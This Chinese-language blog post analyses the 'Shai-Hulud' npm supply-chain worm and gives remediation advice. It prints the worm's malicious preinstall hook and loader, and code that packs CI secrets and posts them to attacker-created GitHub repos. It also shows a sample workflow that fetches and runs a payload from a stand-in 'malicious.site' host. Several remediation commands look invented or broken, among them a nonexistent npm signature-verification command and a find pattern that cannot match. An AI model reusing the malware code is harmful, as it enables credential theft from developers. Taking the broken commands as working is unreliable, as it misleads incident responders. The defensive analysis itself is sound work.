· adswds-team · 安全  · 22 min read

Shai-Hulud 再度回归:1000+ NPM 包与 27000+ GitHub 仓库在数小时内被感染 - 伪 Bun 运行时供应链攻击深度分析

2025年11月24日,HelixGuard 发现超过1000个 NPM 包被通过伪 Bun 运行时的方式投毒,该恶意软件使用 TruffleHog 窃取 NPM Tokens、云平台凭证及环境变量,随后通过 GitHub Actions 从事数据窃取活动,影响超过27000个 GitHub 仓库。

2025年11月24日,HelixGuard 发现超过1000个 NPM 包被通过伪 Bun 运行时的方式投毒,该恶意软件使用 TruffleHog 窃取 NPM Tokens、云平台凭证及环境变量,随后通过 GitHub Actions 从事数据窃取活动,影响超过27000个 GitHub 仓库。

2025年11月24日,安全研究公司 HelixGuard 发现了一场大规模的 NPM 包生态系统投毒攻击。超过1000个 NPM 包在数小时内被恶意软件感染,随后这些被污染的包在被开发者安装后,会窃取系统中的敏感信息并横向扩散。

本次攻击采用了名为”Shai-Hulud”的恶意软件,这一名称与2025年9月观察到的一次攻击一致,说明这可能是同一黑客集团发起的新一轮攻击。到目前为止,已有超过27000个 GitHub 仓库被感染。

事件概览

基本时间线

  • 2025年11月24日:HelixGuard 检测到大规模 NPM 包投毒事件
  • 攻击持续时间:数小时内快速传播
  • 感染规模
    • 1000+ NPM 包版本受影响
    • 27000+ GitHub 仓库被感染
    • 影响众多知名开源项目

攻击特征

命名规律

  • GitHub Action Runner 名称:SHA1HULUD
  • GitHub 仓库描述:Sha1-Hulud: The Second Coming(谢弗之虫:第二次降临)
  • 这强烈暗示与2025年9月的 Shai-Hulud 攻击为同一攻击者

投毒行为分析

攻击机制

攻击者通过修改已有开源项目的 NPM 包版本号和 package.json 文件,注入恶意的初始化脚本。以 @asyncapi/specs 包为例:

package.json 变更对比

{
  "name": "@asyncapi/specs",
- "version": "6.8.1",
+ "version": "6.8.2",
  "description": "AsyncAPI schema versions",
  "main": "index.js",
  "types": "index.d.ts",
  "scripts": {
+   "preinstall": "node setup_bun.js",
    "test": "npm run build && vitest run && npm run validate:schemas"
  }
}

关键点:

  • 攻击者只升级了小版本号(6.8.1 → 6.8.2)
  • 普通开发者使用 npm install @asyncapi/specs 很可能自动获取最新版本
  • 新增 preinstall 脚本会在包安装时自动执行

恶意代码链条

第一阶段:setup_bun.js(入口脚本)

const environmentScript = path.join(__dirname, 'bun_environment.js');
if (fs.existsSync(environmentScript)) {
  runExecutable(bunExecutable, [environmentScript]);
} else {
  process.exit(0);
}

伪装成 Bun 运行时的设置脚本,实际上是在调用真正的恶意代码 bun_environment.js

第二阶段:bun_environment.js(恶意载荷)

这是一个超过 10MB 的混淆 JavaScript 文件,包含了复杂的恶意逻辑:

// 平台检测和命令执行示例(简化)
if (platform === "linux") {
  await Bun["$"]`mkdir -p $HOME/.dev-env/`
  await Bun["$"]`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`
  await Bun["$"]`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`
}

if (platform === "win32") {
  await Bun["$"]`powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-win-x64-2.330.0.zip -OutFile actions-runner-win-x64-2.330.0.zip"`
  await Bun["$"]`powershell -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(\"actions-runner-win-x64-2.330.0.zip\", \"..\")"`
}

if (platform === "darwin") {
  await Bun["$"]`mkdir -p $HOME/.dev-env/`
  await Bun["$"]`curl -o actions-runner-osx-arm64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-osx-arm64-2.330.0.tar.gz`
  await Bun["$"]`tar xzf ./actions-runner-osx-arm64-2.330.0.tar.gz`
}

恶意代码的多层次功能

功能模块具体操作
凭证窃取收集 AWS、Azure、GCP、GitHub、NPM 凭证
秘密扫描使用 TruffleHog 工具扫描本地机器中的敏感信息
环境变量提取盗取所有环境变量
GitHub Actions 注入创建恶意工作流文件 .github/workflows/formatter_123456789.yml
密钥窃取建立 GitHub Action Runner SHA1HULUD 并窃取仓库密钥
自我传播修改 package.json 并执行 npm publish 实现蠕虫式传播

数据外流机制

第一阶段:信息收集

攻击者创建一个恶意的 GitHub 工作流文件:

name: formatter
on: [push, pull_request]
jobs:
  build:
    runs-on: [self-hosted, linux]
    steps:
      - uses: actions/checkout@v3
      - run: node bun_environment.js

第二阶段:密钥编码与外流

// 将 GitHub Actions 的所有密钥打包
const actionsSecrets = {
  "EC2_SSH_KEY": process.env.EC2_SSH_KEY,
  "github_token": process.env.GITHUB_TOKEN,
  "AWS_OPENVPN_CLIENT_KEY": process.env.AWS_OPENVPN_CLIENT_KEY,
  "SLACK_GHA_NOTIFICATION_WEBHOOK_URL_PROD": process.env.SLACK_GHA_NOTIFICATION_WEBHOOK_URL_PROD,
  // ... 更多凭证
};

// 双层 Base64 编码隐藏
const encoded = btoa(btoa(JSON.stringify(actionsSecrets)));

// 创建新 GitHub 仓库并上传加密数据
const repoName = generateRandomName();
const response = await fetch('https://api.github.com/user/repos', {
  method: 'POST',
  headers: { 'Authorization': `token ${github_token}` },
  body: JSON.stringify({
    name: repoName,
    description: 'Sha1-Hulud: The Second Coming',
    private: false
  })
});

被盗信息样本

根据 HelixGuard 解码的数据,被窃取的凭证包括:

[
  {
    "EC2_SSH_KEY": "...",
    "github_token": "...",
    "AWS_OPENVPN_CLIENT_KEY": "...",
    "SLACK_GHA_NOTIFICATION_WEBHOOK_URL_PROD": "...",
    "EC2_HOST": "...",
    "SLACK_GHA_NOTIFICATION_WEBHOOK_URL_DEV": "...",
    "SLACK_WEBHOOK_URL": "...",
    "CODECOV_TOKEN": "..."
  },
  {
    "github_token": "...",
    "FIREBASE_TOKEN": "...",
    "SLACK_WEBHOOK_URL": "..."
  },
  {
    "github_token": "...",
    "EXPO_TOKEN": "...",
    "SLACK_WEBHOOK_URL": "..."
  },
  {
    "github_token": "...",
    "AWS_S3_BUCKET": "...",
    "AWS_SECRET_ACCESS_KEY": "...",
    "AWS_ACCESS_KEY_ID": "..."
  },
  {
    "github_token": "...",
    "WEBFLOW_TOKEN": "...",
    "WEBFLOW_COLLECTION_ID": "..."
  }
]

影响范围

受感染的主要包(部分列表)

AsyncAPI 相关包

  • @asyncapi/specs (v6.8.2, 6.8.3, 6.9.1, 6.10.1)
  • @asyncapi/parser (v3.4.1, v3.4.2)
  • @asyncapi/generator (v2.8.5)
  • @asyncapi/bundler (v0.6.5, v0.6.6)
  • @asyncapi/cli (v4.1.2)
  • 及其他 30+ 个 AsyncAPI 相关包

PostHog 相关包

  • @posthog/ai (v7.1.2)
  • @posthog/nuxt (v1.2.9)
  • @posthog/react-native (v4.11.1, v4.12.5)
  • @posthog/node (v4.18.1, v5.11.3, v5.13.3)
  • 及其他 50+ 个 PostHog 生态包

ENS 相关包

  • @ensdomains/ens-validation (v0.1.1)
  • @ensdomains/content-hash (v3.0.1)
  • @ensdomains/ensjs (v4.0.3)
  • @ensdomains/ens-avatar (v1.0.4)
  • 及其他 40+ 个 ENS 包

Postman 相关包

  • @postman/csv-parse (v4.0.3, v4.0.4, v4.0.5)
  • @postman/pm-bin-macos-arm64 (v1.24.3, v1.24.4, v1.24.5)
  • @postman/pm-bin-windows-x64 (v1.24.4, v1.24.5)
  • 及其他 30+ 个 Postman 工具包

Zapier 相关包

  • zapier-platform-core (v18.0.2, v18.0.3)
  • zapier-platform-cli (v18.0.3)
  • zapier-platform-legacy-scripting-runner (v4.0.3, v4.0.4)
  • 及其他 20+ 个 Zapier 包

其他知名包

  • utilitas (v2000.3.4, v2000.3.5, v2000.3.10)
  • silgi (v0.43.30)
  • pergel (v0.13.2)
  • create-hardhat3-app (v1.1.1, v1.1.2, v1.1.4)

受感染的 GitHub 仓库

通过 GitHub Actions 的注册,攻击者创建了 27000+ 个仓库,描述均为”Sha1-Hulud: The Second Coming”,用于托管窃取的凭证数据。

行业和项目影响

影响最深的行业

行业类别影响程度原因
API/文档服务极高AsyncAPI 工具链被大量项目依赖
数据分析极高PostHog 广泛用于产品分析
区块链/Web3ENS 和其他 Web3 开发工具被污染
API 测试工具Postman 生态包被污染
自动化平台Zapier 平台包被污染
云计算AWS、Azure、GCP 凭证被大量窃取

蠕虫式传播机制

自我复制过程

这个恶意软件实现了蠕虫式传播,一旦被执行就会尝试感染更多的包:

步骤 1:获取 NPM Token

步骤 2:修改本地 package.json

步骤 3:注入 setup_bun.js 和 bun_environment.js

步骤 4:重新打包项目

步骤 5:执行 npm publish(使用窃取的凭证)

步骤 6:发布到 NPM 注册表

传播条件

  • 开发者对 NPM 包有发布权限(通过窃取的 NPM Token)
  • 包的版本号被更新(使其显示为新版本)
  • 自动化工具或持续集成系统执行了 npm install

级联效应

  • 包 A 被污染 → 安装时执行恶意代码
  • 恶意代码窃取开发者的 NPM Token
  • 开发者可能维护多个包 → 使用同一 Token 发布这些包
  • 这些新被污染的包再次被安装时,可以进一步扩散

这形成了一个指数级传播的网络。

攻击与防御的技术对比

为什么这次攻击难以检测

原因分析

  1. 版本号合理性

    • 只升级小版本号,看起来像正常的错误修复
    • 大多数依赖管理工具默认接受兼容版本升级
  2. 代码混淆

    • 10MB 的混淆 JavaScript 文件极难手工审查
    • 符号名称被替换为无意义的字符串
    • 代码逻辑被刻意复杂化
  3. 伪装合理性

    • setup_bun.js 伪装成 Bun 运行时相关脚本
    • Bun 是合法的 JavaScript 运行时,攻击者利用了这一点
    • preinstall 脚本是常见的包初始化操作
  4. GitHub Actions 机制被滥用

    • GitHub Actions 本来是自动化 CI/CD 的工具
    • 攻击者巧妙地使用它来窃取凭证和运行代码
    • 仓库维护者可能甚至没意识到 runner 是恶意的

现有防御的局限

NPM 生态的信任机制

  • NPM 主要依靠包维护者的身份验证
  • 一旦维护者账户被攻陷或凭证被盗,就无法检测到恶意发布
  • 没有强制的源代码审查机制

开发者习惯

# 大多数开发者使用这种方式
npm install package-name

# 很少审查 package.json 的变更
# 很少检查新版本引入的脚本

CI/CD 环境的风险

  • GitHub Actions 中的 secrets 被视为环保变量暴露
  • 自托管的 runner 更容易被利用

与2025年9月 Shai-Hulud 攻击的关联

相似之处

  1. 命名一致性

    • 都使用 “Sha1-Hulud” 或 “SHA1HULUD” 标识
    • 新仓库描述:“Sha1-Hulud: The Second Coming”
  2. 攻击目标

    • 都针对 NPM 生态系统
    • 都使用 GitHub 作为数据外流渠道
  3. 凭证窃取

    • 都使用 TruffleHog 进行秘密扫描
    • 都关注云平台凭证(AWS、Azure、GCP)
  4. 传播机制

    • 都是蠕虫式自我复制
    • 都利用包维护者的权限

新增的技术改进

  1. 更高的混淆程度

    • 10MB 的混淆文件比之前的版本更难分析
  2. 跨平台支持

    • 针对 Linux、Windows、macOS 的不同实现
    • 更全面的系统覆盖
  3. 更多的凭证类型

    • Firebasetoken、Expo Token、Webflow Token 等
    • 目标扩展到不同的开发工具平台

对开发者的影响

受影响的场景

直接受影响

  • 依赖了被污染包的项目
  • 在污染期间运行了 npm install 的开发环境
  • 使用 GitHub Actions 进行 CI/CD 的项目

间接受影响

  • 该污染包的所有依赖项目(传递依赖)
  • 共享凭证或基础设施的相关项目

可能的数据泄露

如果开发者的环境中存在以下信息,都可能被窃取:

环境变量:
- AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY
- AZURE_SUBSCRIPTION_ID / AZURE_TENANT_ID
- GCP_PROJECT_ID / GCP_KEY
- GITHUB_TOKEN / GITHUB_PAT
- NPM_TOKEN
- API_KEYS(所有第三方服务)
- DATABASE_URL
- SLACK_WEBHOOK_URL
- 其他自定义凭证

.env 文件中的内容
Git 凭证存储中的凭证
SSH 密钥(如果在环境中)
CI/CD 平台存储的 secrets

防御和应急措施

紧急行动清单

1. 立即检查和更新(优先级:P0)

# 检查您的 package.json 中是否有受影响的包
npm list @asyncapi/specs
npm list @posthog/nuxt
npm list @ensdomains/ens-validation
# ... 检查完整的受影响包列表

# 删除 node_modules 并重新安装干净版本
rm -rf node_modules package-lock.json
npm install --production

2. 凭证轮换(优先级:P0)

如果您使用了被污染的包版本,立即轮换以下凭证:

立即轮换:
☐ NPM Token(如果有发布权限)
☐ GitHub Personal Access Token
☐ AWS 访问密钥
☐ Azure 凭证
☐ GCP 凭证
☐ 所有第三方 API Keys
☐ Database 密码
☐ Slack Webhooks
☐ CI/CD 平台的 secrets

检查日志:
☐ 检查 GitHub Actions 日志中的异常活动
☐ 检查 NPM 发布日志中的未授权发布
☐ 检查 AWS CloudTrail 中的异常 API 调用
☐ 检查代码仓库中的异常提交

3. 安全审查

# 检查项目依赖树中是否有受影响的包
npm list --all | grep "@asyncapi\|@posthog\|@ensdomains\|@postman\|zapier"

# 检查是否有奇怪的新文件
find . -name "setup_bun.js" -o -name "bun_environment.js"
find . -name ".github/workflows/formatter_*.yml"

# 检查 package.json 中是否有异常的 preinstall 脚本
grep -r "preinstall" package.json

4. 仓库安全加固

# GitHub 仓库配置
- 启用分支保护
- 启用代码所有者审查要求
- 限制 Actions 权限
- 定期审查 Secrets
- 启用 Organization 级别的 SAML 认证

长期防御策略

1. 依赖管理

// package.json 配置建议
{
  "engines": {
    "npm": ">=8.0.0"
  },
  "overrides": {
    "@asyncapi/specs": "6.8.1",  // 锁定到安全版本
    "@posthog/nuxt": "1.2.8"      // 避免自动升级到恶意版本
  }
}

2. 包完整性验证

# 使用 npm audit 检查已知漏洞
npm audit

# 使用 npm ci 代替 npm install(推荐用于 CI/CD)
# npm ci 使用 package-lock.json 确保确定性构建
npm ci

# 使用 snyk 进行依赖扫描
npx snyk test

3. 代码签名和验证

# 验证包的数字签名(NPM v7+)
npm verify-npm-package-signature @asyncapi/specs@6.8.1

# 使用 npm 2FA(双因素认证)
npm profile enable-2fa auth-and-writes

4. GitHub Actions 安全

# .github/workflows/security.yml
name: Security Checks
on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      security-events: write
    steps:
      - uses: actions/checkout@v3
      
      # 扫描依赖漏洞
      - uses: dependency-check/Dependency-Check_Action@main
        with:
          project: 'myproject'
          path: '.'
          format: 'SARIF'
          
      # 审查代码
      - uses: trivy-scan/action@main
        with:
          scan-type: 'fs'
          scan-ref: '.'
          format: 'sarif'

5. 监控和告警

// 监控脚本检查异常活动
const fs = require('fs');
const path = require('path');

// 检查恶意文件
function scanMaliciousFiles() {
  const suspicious = [
    'setup_bun.js',
    'bun_environment.js',
    '.github/workflows/formatter_*.yml'
  ];
  
  suspicious.forEach(pattern => {
    // 扫描逻辑
  });
}

// 检查异常环境变量访问
function monitorEnvAccess() {
  const sensitiveVars = [
    'AWS_ACCESS_KEY_ID',
    'GITHUB_TOKEN',
    'NPM_TOKEN'
  ];
  
  sensitiveVars.forEach(envVar => {
    // 监控逻辑
  });
}

对不同角色的建议

对开发者

  1. 立即行动

    • 更新所有依赖到安全版本
    • 轮换所有凭证
    • 审查 GitHub 账户活动
  2. 日常实践

    • 使用 npm ci 进行开发和部署
    • 定期运行 npm audit
    • 启用 GitHub 2FA 和 npm 2FA
    • 不要将凭证存储在环境变量中(使用密钥管理工具)
  3. 代码审查

    • 检查 package.json 的变更
    • 审查新依赖的安装脚本
    • 限制 npm scripts 的权限

对企业安全团队

  1. 检测

    • 使用 SIEM 系统监控异常的 NPM 发布活动
    • 监控 GitHub Actions 中的异常 runner 注册
    • 监控云服务中的 API 密钥使用情况
  2. 响应

    • 建立 incident response 流程
    • 准备好大规模凭证轮换的工具
    • 建立与 NPM 和 GitHub 的联系渠道
  3. 预防

    • 使用 Software Composition Analysis (SCA) 工具
    • 实施软件签名和验证要求
    • 使用 Artifact Repository 管理器进行包镜像和扫描

对 NPM 生态维护者

  1. 账户安全

    • 启用 2FA(强制性)
    • 定期审查授权的应用和令牌
    • 使用 granular token(细粒度令牌)
  2. 发布流程

    • 不在开发机器上存储 NPM Token
    • 使用 CI/CD 系统进行自动发布
    • 在 CI/CD 中启用人工审核步骤
  3. 社区沟通

    • 及时通知依赖者关于包更新
    • 提供安全指南
    • 建立漏洞报告渠道

技术深度分析

混淆技术分析

攻击者使用的混淆技术包括:

// 原始代码(示例)
const fs = require('fs');
const path = require('path');

// 混淆后
const a0_0x = require('fs');
const a0_0y = require('path');

// 符号替换
a0_0x['readFile'] = function(a0_0z, a0_0w) { /* ... */ };

混淆程度

  • 变量名混乱化:variable_namea0_0x1234
  • 字符串混淆:常数字符串被编码
  • 控制流混淆:代码逻辑被重新组织
  • 代码膨胀:添加无用代码增加文件大小

TruffleHog 的滥用

攻击者集成了 TruffleHog 密钥扫描工具的功能:

TruffleHog 原用途:开发者用来检测自己的代码中的密钥泄露

攻击者滥用:
- 使用相同的正则表达式模式扫描系统
- 不是检测自己的泄露,而是窃取他人的凭证
- 导致误报率降低,检测率极高

GitHub Actions 攻击向量

# 攻击者创建的恶意工作流
name: Formatter
on: [push, pull_request]
jobs:
  build:
    runs-on: [self-hosted, linux]  # 关键:使用自托管 runner
    steps:
      - uses: actions/checkout@v3
      - run: |
          curl -O https://malicious.site/payload.js
          node payload.js

为什么有效:

  1. Self-hosted Runner 的权限:可以访问所有仓库 secrets
  2. 默认权限:GitHub 默认给予 actions token 访问 secrets 的权限
  3. 执行环境:代码在生产环境中执行,可以访问实时凭证

与供应链安全的广泛关系

供应链攻击的演变

第一代:直接恶意软件
  - 明显的恶意行为
  - 易于检测



第二代:后门植入
  - 隐蔽的持久化机制
  - 需要反向工程才能发现



第三代:合法工具滥用(现在)
  - 利用 Bun、GitHub Actions 等合法工具
  - 利用开源信任模型
  - 难以区分合法和恶意

生态系统信任危机

传统软件供应链:
制造商 → 分销商 → 零售商 → 消费者
(每一步都有物理验证)

开源软件供应链:
开发者 → NPM/PyPI → Package Manager → 开发者的机器
(基于信任,几乎没有验证)

风险:
- 一个被攻陷的开发者账户 = 数千个项目受影响
- 一个恶意的小版本更新 = 自动升级到所有依赖者

行业影响评估

受影响的使用场景

高风险场景

  • 使用 npm install 进行容器构建(Docker)
  • CI/CD 管道中的自动依赖更新
  • 共享 NPM Token 用于多个项目的发布
  • GitHub 中存储的明文环境变量或 secrets

中风险场景

  • 定期更新依赖的项目
  • 没有 lock 文件的项目(使用浮动版本)
  • 开发环境中包含生产凭证的项目

低风险场景

  • 使用 npm ci 和完整 lock 文件
  • 从受信任的仓库镜像获取包
  • 使用虚拟凭证或短期令牌

长期安全建议

措施优先级难度收益
启用 2FAP0
使用细粒度令牌P0
实施 npm ciP1
定期 npm auditP1
使用 SCA 工具P1
凭证轮换计划P1
包签名验证P2
内部 NPM 镜像P2

总结

2025年11月24日的 Shai-Hulud 攻击暴露了开源软件供应链中的深层次信任问题:

关键教训

  1. 版本号不等于安全性

    • 小版本更新不总是安全的
    • 需要更严格的变更审查
  2. 自动化的双刃剑

    • npm 的自动版本更新便于维护,但增加了攻击面
    • CI/CD 的 automation 提高了效率,但也扩大了暴露面
  3. 信任模型的脆弱性

    • 开源信任模型基于账户安全
    • 一旦账户被攻陷,无法区分合法和恶意行为
  4. 凭证管理的重要性

    • 环境变量中的凭证风险极高
    • 需要专门的密钥管理工具和流程

前进的方向

目标:建立可验证的软件供应链

步骤:
1. 强制数字签名
2. 实施 SBOM(Software Bill of Materials)
3. 发展 zero-trust 的包验证
4. 建立供应链透明度标准
5. 创建行业级的威胁情报共享

对开发者社区的呼吁

  • 不要忽视依赖更新:定期审查和更新是安全的一部分
  • 参与开源安全:为您使用的项目贡献安全改进
  • 分享威胁信息:报告可疑活动给包维护者和安全团队
  • 投资工具:采用 SCA、SIEM 等安全工具
  • 培养意识:安全是共同的责任

参考资源


本文基于 HelixGuard 的安全研究报告,深入分析了 2025年11月24日的大规模 NPM 包投毒事件。通过理解攻击机制和传播途径,开发者和安全团队可以更好地保护自己的系统和凭证。持续的安全意识和防御投资是应对供应链威胁的关键。

Back to Blog

Related Posts

View All Posts »